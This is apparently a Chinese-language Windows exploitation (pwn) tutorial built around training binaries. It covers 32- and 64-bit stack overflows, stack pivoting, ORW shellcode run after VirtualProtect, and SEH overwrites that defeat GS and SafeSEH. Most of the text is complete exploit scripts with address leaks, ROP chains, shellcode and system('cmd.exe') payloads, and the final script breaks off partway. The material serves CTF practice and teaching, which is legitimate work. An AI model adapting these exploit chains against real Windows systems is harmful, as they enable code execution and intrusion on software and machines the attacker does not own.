windows pwn

栈溢出

32 位栈溢出

附件下载链接

程序保护如下,没有开 GS 保护。
windows pwn_第1张图片
程序是一个简单的栈溢出:

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+0h] [ebp-1D4h]
  char v5; // [esp+0h] [ebp-1D4h]
  char DstBuf[260]; // [esp+D0h] [ebp-104h] BYREF

  __CheckForDebuggerJustMyCode(&unk_41C003);
  sub_41132F();
  printf("Hello world, this is a buffer overflow training.\n", v4);
  printf("This is the stack address : %p\n", (char)DstBuf);
  printf("What is your name: ", v5);
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", (char)DstBuf);
  getchar();
  return 0;
}

利用方法如下:

  • 首先启动一次进程,通过填充字符泄露返回地址,进而泄露程序加载基址。
  • 再次启动进程,写 rop 通过 printf 泄露导入表,进而泄露 ucrtbased.dll 的基址,之后返回到 main 函数进行下一次利用。
  • 利用 ucrtbase.dll 中的 system 函数以及 cmd.exe 字符串构造 rop 实现 system("cmd.exe")

这里有几个易错点:

  • buf 填充 \xcc ,否则会被检测到栈溢出。
  • 由于这个是调试版的程序,因此使用的是 ucrtbased.dll 而不是 ucrtbase.dll
from winpwn import *

context.arch = 'i386'
# context.log_level = "debug"

pe = winfile("stackoverflow.exe")
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.success("buf addr: " + hex(buf_addr))

p.sendafter("What is your name: ", "\xcc" * 0x108)
p.recvuntil("\xcc" * 0x108)

leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak code addr: " + hex(leak_pe_addr))

pe.address = leak_pe_addr - 0x12203
log.info("pe base: " + hex(pe.address))
p.close()

p = start()
# windbg.attach(p, "bp 710000+119EA")

printf_addr = pe.address + 0x11046
main_addr = pe.address + 0x112B7

payload = ''
payload += '\xcc' * 0x108
payload += p32(printf_addr)
payload += p32(main_addr)
payload += p32(pe.imsyms['setvbuf'])

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

setvbuf_addr = u32(p.recv(4))
log.success("setvbuf addr: " + hex(setvbuf_addr))

ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf']
log.info("ucrtbase base: " + hex(ucrtbased.address))

payload = ''
payload += '\xcc' * 0x108
payload += p32(ucrtbased.symbols['system'])
payload += p32(main_addr)
payload += p32(ucrtbased.search("cmd.exe").next())

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

p.interactive()

64 位栈溢出

附件下载链接
和 32 位的程序相似,不过这里溢出字节数较少,需要栈迁移。

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  _DWORD *v3; // rdi
  __int64 i; // rcx
  char v6; // [rsp+0h] [rbp-20h] BYREF
  char DstBuf[480]; // [rsp+30h] [rbp+10h] BYREF

  v3 = &v6;
  for ( i = 0x82i64; i; --i )
    *v3++ = 0xCCCCCCCC;
  j___CheckForDebuggerJustMyCode(&unk_140021003, argv, envp);
  sub_140011271();
  printf("Hello world, this is a buffer overflow training.\n");
  printf("This is the stack address : %p\n", DstBuf);
  printf("What is your name: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  getchar();
  return 0;
}
from winpwn import *

context.arch = "amd64"
context.log_level = "debug"

pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

# print [hex(x) for x in ucrtbased.search(asm('pop rsp;ret'))]

p = start()

# windbg.attach(p, "bp 00007ff7`fcd00000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1f8)

p.recvuntil("\xcc" * 0x1f8)
leak_ucrtbased_addr = u64(p.recv(6).ljust(8, '\x00'))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))

ucrtbased.address = leak_ucrtbased_addr - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))

# windbg.attach(p, "bp 00007ff7`fcd00000+1199D")
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(ucrtbased.search("cmd.exe").next())
payload += p64(ucrtbased.symbols['system'])
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)

log.info("payload len: " + hex(len(payload)))

p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

p.interactive()

ORW

如果题目开启了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY 保护禁用了 system("cmd.exe") ,那么我们就需要采用 ORW 的方式获取 flag 。

Windows 中的 ORW 示例代码如下,其中 CreateFileAReadFile 位于 kernel32.dllputs 位于 ucrtbase.dll

#include 
#include 

int main() {
    HANDLE hFile = CreateFileA(
            "flag.txt",// 文件路径和名称
            GENERIC_READ,             // 文件访问权限     0x80000000
            FILE_SHARE_READ,          // 共享模式         0x00000001
            NULL,                     // 安全性属性       0
            OPEN_EXISTING,            // 打开已有文件     3
            FILE_ATTRIBUTE_NORMAL,    // 文件属性         0x00000080
            NULL                      // 模板文件句柄     0
    );
    if (hFile == INVALID_HANDLE_VALUE) { // #define INVALID_HANDLE_VALUE ((HANDLE)(LONG_PTR)-1)
        printf("Failed to open file\n");
        return 1;
    }
    
    char buffer[0x3000];
    DWORD dwBytesRead = 0;
    if (!ReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead, NULL)) {
        printf("Failed to read file\n");
        CloseHandle(hFile);
        return 1;
    }
    
    puts(buffer);
    
    return 0;
}

由于传递的参数过多 gadget 不好找并且会导致 ROP 过长,因此采取 VirtualProtect 修改内存属性写 shellcode 的方式 进行 ORW 。

VirtualProtect 位于 kernel32.dll ,定义如下:

BOOL VirtualProtect(
  LPVOID lpAddress,          // 要更改保护属性的内存地址
  SIZE_T dwSize,             // 要更改保护属性的内存大小
  DWORD flNewProtect,        // 新的保护属性
  PDWORD lpflOldProtect      // 旧的保护属性
);

其中 lpAddress 关于 0x1000 对齐,flNewProtect 设置为 PAGE_EXECUTE_READWRIT (0x40)

32 位 ORW

前面 32 位的栈溢出题目可以采用如下 exp 实现 ORW。这里有几个需要注意的地方:

  • shellcode 前面 sub esp,0x1000 是为了将栈迁移到远离 shellcode 的位置,防止调用函数时覆写到 shellcode 。
  • ReadFile 函数传入的长度参数不能过大,因为 ReadFile 会对 buf 地址范围进行检查,如果 buf + len 位于 无效地址不会向 buf 读入数据。
from winpwn import *

context.arch = 'i386'
context.log_level = "debug"

pe = winfile("stackoverflow.exe")
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.success("buf addr: " + hex(buf_addr))

p.sendafter("What is your name: ", "\xcc" * 0x108)
p.recvuntil("\xcc" * 0x108)

leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak code addr: " + hex(leak_pe_addr))

pe.address = leak_pe_addr - 0x12203
log.info("pe base: " + hex(pe.address))
p.close()

p = start()

printf_addr = pe.address + 0x11046
main_addr = pe.address + 0x112B7

payload = ''
payload += '\xcc' * 0x108
payload += p32(printf_addr)
payload += p32(main_addr)
payload += p32(pe.imsyms['setvbuf'])

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()

setvbuf_addr = u32(p.recv(4))
log.success("setvbuf addr: " + hex(setvbuf_addr))

ucrtbased.address = setvbuf_addr - ucrtbased.symbols['setvbuf']
log.info("ucrtbase base: " + hex(ucrtbased.address))

payload = ''
payload += '\xcc' * 0x108
payload += p32(ucrtbased.symbols['puts'])
payload += p32(main_addr)
payload += p32(pe.imsyms['GetCurrentThreadId'])
p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u32(p.recv(4)) - kernel32.symbols['GetCurrentThreadId']
log.info("kernel32 base: " + hex(kernel32.address))

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))

log.info("CreateFileA: " + hex(kernel32.symbols["CreateFileA"]))

shellcode = asm(
    """
    sub esp,0x1000
    push 0
    push 0x80
    push 3
    push 0
    push 1
    push 0x80000000
    push {0} // FileName
    mov ebx,{1} 
    call ebx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
    push 0
    lea ecx, [esp+0x500]
    push ecx
    push 0x100
    push {0} // FileBuffer
    push eax
    mov ebx,{2}
    call ebx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
    push {0}
    mov ebx,{3}
    call ebx // puts(Buffer);
    """.format(
        hex(buf_addr + 0x50),
        hex(kernel32.symbols['CreateFileA']),
        hex(kernel32.symbols['ReadFile']),
        hex(ucrtbased.symbols['puts'])
    )
)

payload = ""
payload += shellcode
assert len(shellcode) <= 0x50
payload = payload.ljust(0x50, '\xcc')
payload += "flag.txt\x00"
payload = payload.ljust(0x108, '\xcc')
payload += p32(kernel32.symbols['VirtualProtect'])
payload += p32(buf_addr)
payload += p32(buf_addr & ~0xFFF)
payload += p32(0x1000)
payload += p32(0x40)
payload += p32(buf_addr + 0x300)
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x119EA)))

p.sendafter("What is your name: ", payload)
p.sendlineafter("Hello, ", "")
p.interactive()

64 位 ORW

64 位栈溢出的 ORW 做法如下,不过由于 payload 构造过长导致触发异常,可以考虑将 shellcode 读到另一块内存中从而减小 payload 的长度 。

这里我们读入 shellcode 使用的 API 为 ReadFile ,需要结合 GetStdHandle 获取标准输入句柄。

#include 
#include 

int main()
{
    HANDLE hStdin;
    DWORD dwBytesRead;
    char buffer[1024];

	/* #define STD_INPUT_HANDLE ((DWORD)-10) */
    hStdin = GetStdHandle(STD_INPUT_HANDLE);
	
	/* #define INVALID_HANDLE_VALUE ((HANDLE)(LONG_PTR)-1) */
    if (hStdin == INVALID_HANDLE_VALUE) {
        printf("Failed to get standard input handle.\n");
        return 1;
    }

    if (ReadFile(hStdin, buffer, sizeof(buffer), &dwBytesRead, NULL)) {
        printf("Read %d bytes from standard input.\n", dwBytesRead);
        printf("Input content:\n%s", buffer);
    } else {
        printf("Failed to read standard input.\n");
    }

    return 0;
}

需要注意的是 DstBuf[480] 的实际长度是 0x100 ,需要考虑绕过 CheckStackValue 保护。

另外如何查找从将 rax 寄存器的值赋值给 rcx 的 gadget 也是一个难点。

from winpwn import *

context.arch = "amd64"
context.log_level = "debug"

pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.sendafter("What is your name:", "\xcc" * 0x1f8)
p.recvuntil("\xcc" * 0x1f8)
ucrtbased.address = u64(p.recv(6).ljust(8, '\x00')) - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
# windbg.attach(p, "bp 00007ff7`2a380000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1e8)
p.recvuntil("\xcc" * 0x1e8)
pe.address = u64(p.recv(6).ljust(8, '\x00')) - 0x121a9
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x11900
p.close()

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(pe.imsyms['GetCurrentThreadId'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(kernel32.imsyms['memcpy'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))

p.recvuntil("This is the stack address : ")
rop_addr = int(p.recvline(drop=True), 16)
log.info("rop addr: " + hex(rop_addr))

shellcode_addr = pe.address + 0x1D000
buf_addr = rop_addr + 0x104
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp {}".format(hex(pe.address + 0x11968)[:-1]))
sleep(1)

payload = ''
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(0x1000)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x40)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['VirtualProtect'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(0xFFFFFFF6)
payload += p64(kernel32.symbols['GetStdHandle'])
payload += p64(kernel32.address + 0x761b2)  # mov rcx, rax; xor eax, eax; test rdx, rdx; jne 0x761c1; mov qword ptr [r8], rcx; ret;
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(shellcode_addr)
payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
payload += p64(0x100)
payload += p64(shellcode_addr - 0x300)
payload += p64(0)
payload += p64(0)
payload += p64(kernel32.symbols['ReadFile'])
payload += p64(shellcode_addr)
payload += '\x00' * 0x20
payload += p64(0)
payload = payload.ljust(buf_addr - rop_addr, '\xcc')  # bypass CheckStackVars
payload += 'flag.txt\x00'
log.info("rop len: " + hex(len(payload)))

payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(rop_addr)

p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")

shellcode = asm(
    """
    sub rsp, 0x1000
    mov rcx, {0}
    mov edx, 0x80000000
    xor r9d, r9d
    lea r8d, [r9+1]
    mov qword ptr [rsp + 0x30], 0
    mov qword ptr [rsp + 0x28], 0x80
    mov qword ptr [rsp + 0x20], 3
    mov rbx, {1} 
    call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
    xchg rcx,rax
    mov rdx, {0}
    mov r8d, 0x500
    lea r9,[rsp + 0x200]
    mov qword ptr [rsp + 0x20], 0
    mov rbx, {2} 
    call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
    mov rcx, {0}
    mov rbx,{3}
    call rbx // puts(Buffer);
    """.format(
        hex(buf_addr),
        hex(kernel32.symbols['CreateFileA']),
        hex(kernel32.symbols['ReadFile']),
        hex(ucrtbased.symbols['puts'])
    )
)

sleep(1)

p.sendline(shellcode)

p.interactive()

由于 Windows API 的传参过于丧心病狂,因此上面的 rop 构造的十分麻烦。不过幸运的是在 ucrtbased.dll (ucrtbase.dll) 中封装了一些 POSIX 类型的接口,这些接口的使用方法和 linux 相同。因此如果题目提供了 ucrtbased.dll (ucrtbase.dll)如果有任意地址读我们也可以将远程的 ucrtbased.dll (ucrtbase.dll) dump 下来 )那么我们可以像 linux 一样构造 orw 。不过这些函数开头会将参数写入 [rsp + 8][rsp + 0x20] 范围的内存中,因此在调用完一个函数时需要一个 gadget 将被覆盖的内存平衡掉。

from winpwn import *

context.arch = "amd64"
context.log_level = "debug"

pe = winfile("stackoverflow.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.sendafter("What is your name:", "\xcc" * 0x1f8)
p.recvuntil("\xcc" * 0x1f8)
ucrtbased.address = u64(p.recv(6).ljust(8, '\x00')) - 0xb1fb3
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
# windbg.attach(p, "bp 00007ff7`2a380000+11978")
p.sendafter("What is your name:", "\xcc" * 0x1e8)
p.recvuntil("\xcc" * 0x1e8)
pe.address = u64(p.recv(6).ljust(8, '\x00')) - 0x121a9
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x11900
p.close()

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(pe.imsyms['GetCurrentThreadId'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recvline(drop=True), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ''
payload += p64(ucrtbased.search(asm('pop rcx;ret'), executable=True).next())
payload += p64(kernel32.imsyms['memcpy'])
payload += p64(ucrtbased.symbols['puts'])
payload += p64(main_addr)
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(buf_addr)
p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")
p.recvline()
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))

p.recvuntil("This is the stack address : ")
rop_addr = int(p.recvline(drop=True), 16)
log.info("rop addr: " + hex(rop_addr))

shellcode_addr = pe.address + 0x1D000
buf_addr = rop_addr + 0xe8 + 0x28
log.info("shellcode addr: " + hex(shellcode_addr))
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp {}".format(hex(ntdll.search(asm("pop rcx; ret"), executable=True).next())[:-1]))

payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop rdx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ucrtbased.symbols['_open'])
payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
payload += '\x00' * 0x28
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(3)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbased.symbols['_read'])
payload += p64(ntdll.search(asm("add rsp, 0x18; ret"), executable=True).next())
payload += '\x00' * 0x18
payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
payload += p64(1)
payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
payload += p64(buf_addr)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0x100)
payload += p64(ucrtbased.symbols['_write'])
payload = payload.ljust(buf_addr - rop_addr, '\xcc')  # bypass CheckStackVars
payload += 'flag.txt\x00'
payload = payload.ljust(0x1e8, '\xcc')
payload += p64(ucrtbased.search(asm('pop rsp;ret'), executable=True).next())
payload += p64(rop_addr)

p.sendafter("What is your name:", payload)
p.sendlineafter("Hello, ", "")

p.interactive()

SEHOP

附件下载链接
程序未开启 SafeSEH 。分析程序发现开启了 GS 保护。
windows pwn_第2张图片
程序代码如下,存在栈溢出以及一个 4 字节的任意地址写,分析汇编可知任意地址写存在 SEH 异常处理。

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  _DWORD *shot; // [esp+D4h] [ebp-12Ch] BYREF
  char DstBuf[260]; // [esp+E0h] [ebp-120h] BYREF
  CPPEH_RECORD ms_exc; // [esp+1E8h] [ebp-18h]

  __CheckForDebuggerJustMyCode(&unk_41C00F);
  sub_41133E();
  printf("Hello world, this is a buffer overflow training.\n");
  printf("This is the stack address : %p\n", DstBuf);
  printf("What is your name: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  ms_exc.registration.TryLevel = 0;
  printf("Give me one shot: ");
  scanf("%ld", &shot);
  *shot = 0xDEADBEEF;
  ms_exc.registration.TryLevel = -2;
  getchar();
  return 0;
}

栈结构如下:

-0000012C shot dd ?                               ; offset
-00000128 db ? ; undefined
-00000127 db ? ; undefined
-00000126 db ? ; undefined
-00000125 db ? ; undefined
-00000124 db ? ; undefined
-00000123 db ? ; undefined
-00000122 db ? ; undefined
-00000121 db ? ; undefined
-00000120 DstBuf db 260 dup(?)
-0000001C canary dd ?
-00000018 ms_exc CPPEH_RECORD ?
+00000000  s db 4 dup(?)
+00000004  r db 4 dup(?)
+00000008 argc dd ?
+0000000C argv dd ?                               ; offset
+00000010 envp dd ?                               ; offset
+00000014
+00000014 ; end of stack variables

调试得到 DstBuf 之后的数据如下,可以泄露程序以及 ucrtbased.dll 的基址和栈地址(不过栈地址程序已经给出了)。

0:000> !telescope 0x010FFB5C+0x104
Populating the VA space with modules..
Populating the VA space with TEBs & thread stacks..
Populating the VA space with the PEB..
0x010ffc60|+0x0000: 0xbc1f64db (Unknown)
0x010ffc64|+0x0004: 0x010ffa7c (Stack) -> 0xbc1f64db (Unknown)
0x010ffc68|+0x0008: 0x79cafbd2 (ucrtbased.dll (.text)) -> xchg esi,dword ptr [eax] ; mov eax,esi ; pop esi
0x010ffc6c|+0x000c: 0x010ffce8 (Stack) -> 0x010ffd60 (Stack) -> 0x010ffd78 (Stack) -> 0xffffffff (Unknown)
0x010ffc70|+0x0010: 0x00542120 (SEH.exe (.text)) -> push ebp ; mov ebp,esp ; mov eax,dword ptr [ebp+8]
0x010ffc74|+0x0014: 0xbd4417df (Unknown)
0x010ffc78|+0x0018: 0xfffffffe (Unknown)
0x010ffc7c|+0x001c: 0x010ffc9c (Stack) -> 0x010ffcf8 (Stack) -> 0x010ffd00 (Stack) -> 0x010ffd08 (Stack) -> 0x010ffd18 (Stack) -> 0x010ffd70 (Stack) -> 0x010ffd80 (Stack) -> 0x00000000 (Unknown)
0x010ffc80|+0x0020: 0x005425a3 (SEH.exe (.text)) -> add esp,0Ch ; mov esp,ebp ; pop ebp
0x010ffc84|+0x0024: 0x00000001 (Unknown)
@$telescope(0x010FFB5C+0x104)

GS 保护使用的 ___security_cookie 在每次程序启动都会有变化,因此我们需要考虑如何使程序多次返回 main 函数。

如果我们把 Handler 从原本的 __except_handler4 覆盖为 main 函数,那么当触发异常时会把 main 函数当做 Handler 调用。

再次进入 main 函数时,会在原来异常链上添加一个新的异常节点,该节点是正常的 __except_handler4 。如果此时触发异常会通过 __except_handler4 执行新注册的异常处理程序, 这个异常处理程序会输出 This is exception handler\n 然后返回 0 。由于 main 函数作为上一层 main 函数的 Handler 函数,这个返回值会被当做 Handler 函数返回了 ExceptionContinueExecution ,上一层的 main 函数认为异常以及被处理完,因此再次返回错误的位置执行,结果再次触发异常进入 main 函数。至此,我们实现了 main 函数的多次调用。
windows pwn_第3张图片

有了 main 函数的多次调用我们可以先泄露 ___security_cookie 然后溢出覆盖返回值写 rop 实现 getshell 。

from winpwn import *

context.arch = "amd64"
# context.log_level = "debug"

pe = winfile("SEH.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

p = start()
# windbg.attach(p, "bp 00530000+154FA")
p.sendafter("What is your name:", "\xcc" * 0x10c)
p.recvuntil("\xcc" * 0x10c)
leak_ucrtbased_addr = u32(p.recv(4))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))
ucrtbased.address = leak_ucrtbased_addr - 0xafbd2
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
p.sendafter("What is your name:", "\xcc" * 0x114)
p.recvuntil("\xcc" * 0x114)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x12120
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x15450
log.info("main addr: " + hex(main_addr))
p.close()

p = start()
# windbg.attach(p, "bp 00530000+154FA")
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))

payload = ''
payload += '\xcc' * 0x110
payload += p32(buf_addr + 0x18c)
payload += p32(main_addr)
p.sendafter("What is your name:", payload)

p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")

# windbg.attach(p, "bp 00530000+154FF")

p.sendafter("What is your name:", '\xcc' * 0x104)
p.recvuntil("\xcc" * 0x104)
leak_canary = u32(p.recv(4))
log.success("leak canary: " + hex(leak_canary))
ebp_value = buf_addr - 0x6b0
log.info("ebp value: " + hex(ebp_value))
security_cookie = leak_canary ^ ebp_value
log.info("security_cookie addr: " + hex(pe.address + 0x1A004))
log.info("leak security_cookie: " + hex(security_cookie))

p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")

windbg.attach(p, "bp 00530000+155B7")

ebp_value = buf_addr - 0x6b0
log.info("ebp value: " + hex(ebp_value))

payload = ''
payload += "\xcc" * 0x104
payload += p32(security_cookie ^ ebp_value)
payload = payload.ljust(0x124, "\xcc")
payload += p32(ucrtbased.symbols['system'])
payload += p32(0)
payload += p32(ucrtbased.search("cmd.exe").next())

p.sendafter("What is your name:", payload)
p.sendafter("Give me one shot: ", str(buf_addr))
sleep(0.1)
p.sendline("")

p.interactive()

进一步拓展,假设原本 main 函数的 Handler 返回的是 1 而不是 0,我们通过栈溢出将 Handler 覆盖为 main 函数那么在第一次执行 main 函数触发异常后调用 Handler 第二次进入 main 函数,第二次进入 main 函数触发异常后返回 ExceptionContinueSearch 表示异常没有处理,会在 SEH 链中继续往上一层找 Handler ,由于此时上一层 Handlermain 函数,也就是说第二次进入 main 函数触发异常后会再次进入 main 函数,因此原本 main 函数的 Handler 返回的是 1 也可以实现重复调用 main 函数。

SafeSEH

附件下载链接
这道题开启了 SafeSEH 和 GS 保护。
windows pwn_第4张图片
观察主函数逻辑,发现与上一道题逻辑相似,不过有两次溢出和回显的机会。

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  _DWORD *shot; // [esp+D4h] [ebp-12Ch] BYREF
  char DstBuf[260]; // [esp+E0h] [ebp-120h] BYREF
  CPPEH_RECORD ms_exc; // [esp+1E8h] [ebp-18h]

  __CheckForDebuggerJustMyCode(&unk_40C00F);
  sub_4011FE();
  printf("Hello world, this is a buffer overflow training.\n");
  printf("This is the stack address : %p\n", DstBuf);
  printf("What is your name: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  printf("Input again: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  ms_exc.registration.TryLevel = 0;
  printf("Give me one shot: ");
  scanf("%ld", &shot);
  shot = (_DWORD *)((unsigned int)shot & 0xFFF00);
  *shot = 0xDEADBEEF;
  ms_exc.registration.TryLevel = -2;
  getchar();
  return 0;
}

因此可以先泄露 ucrtbased.dll 的基址。之后再次启动程序,第一次输入后回显泄露 canary ,从而计算出 ___security_cookie ,然后再次溢出写 rop ,不过由于 shot = (_DWORD *)((unsigned int)shot & 0xFFF00); ,不能正常返回,需要通过异常处理返回,这就需要我们伪造 CPPEH_RECORD 结构使其能正常调用处理函数返回。这里为了体现 SafeSEH 的绕过也顺带伪造了 ScopeTable ,实际上复用原来的 ScopeTable 也是可以的。

from winpwn import *

context.arch = "i386"
# context.log_level = "debug"

pe = winfile("SafeSEH.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.sendafter("What is your name:", "\xcc" * 0x10c)
p.recvuntil("\xcc" * 0x10c)
leak_ucrtbased_addr = u32(p.recv(4))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))
ucrtbased.address = leak_ucrtbased_addr - 0xafbd2
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
p.sendafter("What is your name:", "\xcc" * 0x114)
p.recvuntil("\xcc" * 0x114)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x1e30
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x1780
log.info("main addr: " + hex(main_addr))
FilterFunc = pe.address + 0x18B7
log.info("FilterFunc addr: " + hex(FilterFunc))
HandlerFunc = pe.address + 0x18BD
log.info("HandlerFunc addr: " + hex(HandlerFunc))
p.close()

p = start()
p.recvuntil("This is the stack address : ")
